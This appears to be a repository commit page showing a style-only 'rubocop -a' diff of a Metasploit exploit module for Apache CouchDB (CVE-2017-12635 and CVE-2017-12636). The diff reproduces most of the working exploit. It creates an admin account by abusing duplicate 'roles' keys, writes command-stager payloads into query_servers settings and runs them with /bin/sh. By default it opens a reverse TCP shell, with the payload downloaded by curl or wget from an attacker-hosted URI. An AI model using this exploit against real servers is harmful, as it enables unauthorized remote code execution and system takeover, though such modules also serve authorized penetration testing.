Run rubocop -a
parent
0ef0fae2b2
commit
ca5e496b8f
|
@ -18,17 +18,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
|
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
|
||||||
including downloading and executing scripts from the public internet.
|
including downloading and executing scripts from the public internet.
|
||||||
},
|
},
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
|
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
|
||||||
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
|
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
|
||||||
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
||||||
],
|
],
|
||||||
'References' => [
|
'References' => [
|
||||||
[ 'CVE', '2017-12636'],
|
['CVE', '2017-12636'],
|
||||||
[ 'CVE', '2017-12635'],
|
['CVE', '2017-12635'],
|
||||||
[ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
|
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
|
||||||
[ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
|
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
|
||||||
[ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
|
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Apr 6 2016',
|
'DisclosureDate' => 'Apr 6 2016',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -36,29 +36,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Arch' => [ARCH_X86, ARCH_X64],
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'DefaultOptions' => {
|
'DefaultOptions' => {
|
||||||
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
|
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
|
||||||
'CMDSTAGER::FLAVOR' => 'curl'
|
'CMDSTAGER::FLAVOR' => 'curl'
|
||||||
},
|
},
|
||||||
'CmdStagerFlavor' => ['curl', 'wget'],
|
'CmdStagerFlavor' => ['curl', 'wget'],
|
||||||
'Targets' => [
|
'Targets' => [
|
||||||
['Automatic', {} ],
|
['Automatic', {}],
|
||||||
['Apache CouchDB version 1.x', {} ],
|
['Apache CouchDB version 1.x', {}],
|
||||||
['Apache CouchDB version 2.x', {} ]
|
['Apache CouchDB version 2.x', {}]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0))
|
||||||
))
|
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
Opt::RPORT(5984),
|
Opt::RPORT(5984),
|
||||||
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
|
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
|
||||||
OptString.new('HttpUsername', [false, 'The username to login as']),
|
OptString.new('HttpUsername', [false, 'The username to login as']),
|
||||||
OptString.new('HttpPassword', [false, 'The password to login with'])
|
OptString.new('HttpPassword', [false, 'The password to login with'])
|
||||||
])
|
])
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
|
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
|
||||||
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
|
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
|
||||||
])
|
]
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
|
@ -67,9 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
return CheckCode::Unknown if version.version.empty?
|
return CheckCode::Unknown if version.version.empty?
|
||||||
vprint_status "Found CouchDB version #{version}"
|
vprint_status "Found CouchDB version #{version}"
|
||||||
|
|
||||||
if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||||
return CheckCode::Appears
|
|
||||||
end
|
|
||||||
|
|
||||||
CheckCode::Safe
|
CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
@ -96,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
attempts.times do |i|
|
attempts.times do |i|
|
||||||
print_status("#{peer} - The #{i+1} time to exploit")
|
print_status("#{peer} - The #{i + 1} time to exploit")
|
||||||
send_payload(version)
|
send_payload(version)
|
||||||
Rex.sleep(5)
|
Rex.sleep(5)
|
||||||
# break if we get the shell
|
# break if we get the shell
|
||||||
|
@ -112,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
|
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
|
||||||
# for the newly created user.
|
# for the newly created user.
|
||||||
def auth_bypass
|
def auth_bypass
|
||||||
|
|
||||||
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
|
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
|
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
@auth = basic_auth(username, password)
|
@auth = basic_auth(username, password)
|
||||||
|
@ -121,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
|
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}}
|
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
|
||||||
)
|
)
|
||||||
|
|
||||||
if res && res.code == 200 && res.get_json_document['ok']
|
if res && res.code == 200 && res.get_json_document['ok']
|
||||||
|
@ -129,7 +126,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
else
|
else
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_version
|
def get_version
|
||||||
|
@ -137,11 +133,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
begin
|
begin
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(target_uri.path),
|
'uri' => normalize_uri(target_uri.path),
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'authorization' => @auth
|
'authorization' => @auth
|
||||||
)
|
)
|
||||||
|
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
|
||||||
vprint_bad("#{peer} - Connection failed")
|
vprint_bad("#{peer} - Connection failed")
|
||||||
return false
|
return false
|
||||||
|
@ -177,9 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
vprint_status("#{peer} - CouchDB version is #{version}") if version
|
vprint_status("#{peer} - CouchDB version is #{version}") if version
|
||||||
|
|
||||||
version = Gem::Version.new(@version)
|
version = Gem::Version.new(@version)
|
||||||
case
|
if version.version.empty?
|
||||||
# Version not found
|
|
||||||
when version.version.empty?
|
|
||||||
|
|
||||||
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
|
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
|
||||||
# if target set Automatic, exploit failed.
|
# if target set Automatic, exploit failed.
|
||||||
|
@ -191,21 +184,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
payload2
|
payload2
|
||||||
end
|
end
|
||||||
|
|
||||||
when version < Gem::Version.new('1.7.0')
|
elsif version < Gem::Version.new('1.7.0')
|
||||||
payload1
|
payload1
|
||||||
when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
|
||||||
payload2
|
payload2
|
||||||
when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
|
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
|
||||||
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Exploit with multi requests
|
# Exploit with multi requests
|
||||||
# payload1 is for the version of couchdb below 1.7.0
|
# payload1 is for the version of couchdb below 1.7.0
|
||||||
def payload1
|
def payload1
|
||||||
|
|
||||||
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
@ -218,8 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
|
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -232,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{{"_id": "#{rand_hex}"}}
|
'data' => %({"_id": "#{rand_hex}"})
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -240,14 +230,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => %Q{{"language":"#{rand_cmd1}","map":""}}
|
'data' => %({"language":"#{rand_cmd1}","map":""})
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"/bin/sh #{rand_file}"}
|
'data' => %("/bin/sh #{rand_file}")
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -255,15 +245,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
|
'data' => %({"language":"#{rand_cmd2}","map":""})
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# payload2 is for the version of couchdb below 2.1.1
|
# payload2 is for the version of couchdb below 2.1.1
|
||||||
def payload2
|
def payload2
|
||||||
|
|
||||||
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
|
||||||
|
@ -281,13 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
node = res.get_json_document['all_nodes'][0]
|
node = res.get_json_document['all_nodes'][0]
|
||||||
|
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
|
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -300,7 +285,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{{"_id": "#{rand_hex}"}}
|
'data' => %({"_id": "#{rand_hex}"})
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -308,15 +293,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}}
|
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'data' => %Q{"/bin/sh #{rand_file}"}
|
'data' => %("/bin/sh #{rand_file}")
|
||||||
|
|
||||||
)
|
)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -324,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'method' => 'PUT',
|
'method' => 'PUT',
|
||||||
'authorization' => @auth,
|
'authorization' => @auth,
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}}
|
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -338,14 +322,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
#
|
#
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
if (not @cmdstager)
|
if !@cmdstager
|
||||||
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Sending payload #{datastore['PAYLOAD']}")
|
print_status("Sending payload #{datastore['PAYLOAD']}")
|
||||||
super
|
super
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def start_service(opts = {})
|
def start_service(opts = {})
|
||||||
|
@ -353,7 +336,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
@service_url = get_uri
|
@service_url = get_uri
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# mark the exploit successful and clean temp file created during exploiting
|
# mark the exploit successful and clean temp file created during exploiting
|
||||||
def on_new_session(client)
|
def on_new_session(client)
|
||||||
# mark flag be true to stop exploit.
|
# mark flag be true to stop exploit.
|
||||||
|
@ -370,9 +352,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
client.shell_command_token("rm #{@file_to_clean}")
|
client.shell_command_token("rm #{@file_to_clean}")
|
||||||
end
|
end
|
||||||
vprint_good("Cleaned temp file successful.")
|
vprint_good("Cleaned temp file successful.")
|
||||||
rescue
|
rescue StandardError
|
||||||
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
|
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue